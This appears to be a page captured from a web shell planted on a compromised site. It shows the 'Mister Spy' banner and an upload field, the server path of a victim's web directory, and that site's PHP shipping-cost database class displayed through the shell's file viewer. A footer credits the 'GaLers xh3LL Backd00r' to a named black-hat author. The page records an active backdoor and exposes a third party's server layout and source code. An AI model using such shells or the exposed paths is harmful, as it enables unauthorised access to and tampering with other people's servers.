Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/library/
Upload File :
Current File : /home/caballoscriollos/public_html/web/library/class.costosenvio.php

<?php

require_once('class.db.php');
require_once('class.dbaccess.php');
require_once('class.costoenvio.php');
require_once('class.filter.php');
require_once('class.page.php');

class CostosEnvio extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = '';
		
		return $sql;
	}	
	

	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = " SELECT c.*";
		$sql.= " FROM tblCostosEnvio c";
		$sql.= " WHERE 1";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY c.IdCosto DESC";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";

		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oCostoEnvio = new CostoEnvio();
			$oCostoEnvio->ParseFromArray($oRow);
			
			array_push($arr, $oCostoEnvio);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}


	public function GetById($IdCosto)
	{
		$sql = "SELECT c.*";
		$sql.= " FROM tblCostosEnvio c";
		$sql.= " WHERE c.IdCosto = " . DB::Number($IdCosto);	
			
		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		if ( !($oRow = $oRes->GetRow()) )
			return false;
		
		$oCostoEnvio = new CostoEnvio();
		$oCostoEnvio->ParseFromArray($oRow);

		return $oCostoEnvio;
	}


	public function GetByIdProvincia($IdProvincia)
	{
		$sql = "SELECT c.*";
		$sql.= " FROM tblCostosEnvio c";
		$sql.= " WHERE c.IdProvincia = " . DB::Number($IdProvincia);	
			
		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		if ( !($oRow = $oRes->GetRow()) )
			return false;
		
		$oCostoEnvio = new CostoEnvio();
		$oCostoEnvio->ParseFromArray($oRow);

		return $oCostoEnvio;
	}


	public function GetCountRows(array $filter = NULL)
	{
		$sql = " SELECT c.*";
		$sql.= " FROM tblCostosEnvio c";
		$sql.= " WHERE 1";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY c.IdCosto DESC";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
	
	public function Create(CostoEnvio $oCostoEnvio)
	{
		$arr = array
		(
			'IdProvincia'	=> DB::Number($oCostoEnvio->IdProvincia),
			'Importe'		=> DB::Number($oCostoEnvio->Importe)
		);

		if (!DBAccess::Insert('tblCostosEnvio', $arr))
		{
			DBAccess::$db->Rollback();	
			return false;
		}			

		$oCostoEnvio->IdCosto = DBAccess::GetLastInsertId();	

		return $oCostoEnvio;
	}
	
	
	public function Update(CostoEnvio $oCostoEnvio)
	{
		$arr = array
		(
			'IdProvincia'	=> DB::Number($oCostoEnvio->IdProvincia),
			'Importe'		=> DB::Number($oCostoEnvio->Importe)
		);

		$where = " IdCosto = " . (int)$oCostoEnvio->IdCosto;
		
		if (!DBAccess::UpdateEntidad('tblCostosEnvio', $arr, $where))
			return false;
		
		return $oCostoEnvio;
	}
	

	public function Delete($IdCosto)
	{
		$where = " IdCosto = " . DB::Number($IdCosto);

		if (!DBAccess::DeleteEntidad('tblCostosEnvio', $where))
				return false;
		
		return true;	
	}	
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat